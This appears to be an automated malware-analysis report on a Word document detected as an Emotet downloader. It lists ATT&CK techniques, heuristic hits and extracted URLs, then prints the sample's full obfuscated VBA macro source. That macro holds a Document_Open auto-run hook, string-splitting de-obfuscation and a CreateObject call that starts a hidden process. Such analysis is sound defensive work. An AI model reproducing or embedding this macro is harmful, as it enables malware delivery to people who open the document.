MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject, indicating an attempt to execute code. Heuristics also flag a reference to PowerShell, suggesting a multi-stage download and execution process. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests the Emotet family and a downloader functionality.
Heuristics 8
-
ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 587,084 bytes but its declared streams total only 210,977 bytes — 376,107 bytes (64%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select T6r24fnmxcl4an0elk = Array(Zti399iv8buvukqys + "Mr2ymrfyipblv5pnvo Ct4vurkdr2suzqhUalh2wk14uwq1ghzb Lnz8ghboz816", CreateObject(Ves77m25x3g6ux5qwe).Create(Rtoeytdwwrw, Woawnjh3rjd3a, Vi0v0n31dkbg9ya), Wnlu5sua6e85egn9n + "Yi2c1u6q6o0evegmga J8n46u71tfbou C53e4y3znxfc1t3y3 Iuadvq7s55ll5_ojrl") On Error Resume Next -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub _ Document_open() H3wkjv081x4co0vat.D1n98zrf0liyijz4 -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://steripharma.net/mail In document text (OLE body)
- http://localhostIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- https://google.com/search?q=Symfony%5CComponent%5CHttpKernel%5CException%5CMethodNotAllowedHttpException+In document text (OLE body)
- https://www.iconfinder.com/alfredohIn document text (OLE body)
- http://creativecommons.org/licenses/by/3.0/In document text (OLE body)
- http://www.w3.org/2000/svgIn document text (OLE body)
- https://duckduckgo.com/?q=Symfony%5CComponent%5CHttpKernel%5CException%5CMethodNotAllowedHttpException+In document text (OLE body)
- https://www.iconfinder.com/iconbaandarIn document text (OLE body)
- https://stackoverflow.com/search?q=Symfony%5CComponent%5CHttpKernel%5CException%5CMethodNotAllowedHttpException+In document text (OLE body)
- https://www.iconfinder.com/PiconsIn document text (OLE body)
- https://zenorocha.github.io/clipboard.jsIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16112 bytes |
SHA-256: d6a6cc4926447260e20be5c98cf6c33eed2faf08a67f312888123a777f910057 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "V1vnl3la5nhxv7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
H3wkjv081x4co0vat.D1n98zrf0liyijz4
End Sub
Attribute VB_Name = "H3wkjv081x4co0vat"
Attribute VB_Base = "0{9A80046A-8253-4AFE-91AE-60956BE9A438}{0281F684-EFA7-4CFC-A729-814AAA6C40FC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function D1n98zrf0liyijz4()
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
X2o5e5a54lj4tow = 100
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
O3ht0tcmcq_fpyrh = ChrW(X2o5e5a54lj4tow + (yyyy + 5 + bbbbb + 10))
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
A1545jzumco = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + O3ht0tcmcq_fpyrh + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + H3wkjv081x4co0vat.U7wflnidgd6jtu14 + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Ves77m25x3g6ux5qwe = Zlb0jg1k_ab_ij(A1545jzumco)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Ly_h9xs1czt = H3wkjv081x4co0vat.Cr4j95luy6_.ControlTipText
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
U0d_odp04fmank = F0apojze1eu + (Ves77m25x3g6ux5qwe + O3ht0tcmcq_fpyrh + H3wkjv081x4co0vat.Pod9k4rx6y1.ControlTipText + Ly_h9xs1czt)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
T6zjjlxpp2ski = U0d_odp04fmank + H3wkjv081x4co0vat.U7wflnidgd6jtu14
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Set Vi0v0n31dkbg9ya = Vash3kzhb1sawybyrp(T6zjjlxpp2ski)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
T6r24fnmxcl4an0elk = Array(Zti399iv8buvukqys + "Mr2ymrfyipblv5pnvo Ct4vurkdr2suzqhUalh2wk14uwq1ghzb Lnz8ghboz816", CreateObject(Ves77m25x3g6ux5qwe).Create(Rtoeytdwwrw, Woawnjh3rjd3a, Vi0v0n31dkbg9ya), Wnlu5sua6e85egn9n + "Yi2c1u6q6o0evegmga J8n46u71tfbou C53e4y3znxfc1t3y3 Iuadvq7s55ll5_ojrl")
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
End Function
Function Vash3kzhb1sawybyrp(Kmzepmz1317tyy1r0)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Set Vash3kzhb1sawybyrp = CreateObject(Kmzepmz1317tyy1r0)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Vash3kzhb1sawybyrp. _
showwindow = xlYErrorBars - xlYErrorBars
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
End Function
Function Zlb0jg1k_ab_ij(Kshe8zivfpvt)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Es8xdynzytcy2hl0 = Conversion.CVar(Trim(Kshe8zivfpvt))
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Dxf8d6cu8rfg5n8h = Split(Es8xdynzytcy2hl0, "2n3(" + "((((h 2289" + "(7 2379" + "((0s")
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Dxg85nmnzjo = Fnnwyt1x45n97n + Join _
(Dxf8d6cu8rfg5n8h, Ba6aimik59o)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Zlb0jg1k_ab_ij = Dxg85nmnzjo
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
End Function
Function Rtoeytdwwrw()
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Wm10y6557ayybsg8 = H3wkjv081x4co0vat.Eptwh5994sy6wi.Tabs(1).ControlTipText
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
Rtoeytdwwrw = Zlb0jg1k_ab_ij(Wm10y6557ayybsg8)
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jcvk872h = MMMUtGUd
DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
ynOP163J = 161
Case 8397
rYuNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.